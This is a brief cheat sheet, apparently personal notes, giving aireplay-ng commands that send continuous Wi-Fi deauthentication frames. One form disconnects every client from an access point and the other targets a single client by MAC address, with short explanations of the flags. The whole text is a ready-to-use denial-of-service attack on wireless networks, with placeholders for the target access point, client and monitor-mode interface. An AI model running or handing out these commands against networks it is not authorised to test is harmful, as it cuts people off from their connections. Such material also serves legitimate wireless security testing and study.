deauth every user
aireplay-ng --deauth 0 -a <AP's MAC/BSSID> <NIC monitor mode>
deauth single user
aireplay-ng --deauth 0 -a <AP's MAC/BSSID> -c <client's MAC> <NIC monitor mode>
where:
- —deauth 0 - deauth and count
- -a - set Access Point MAC address
- -c - client’s MAC to deauthenticate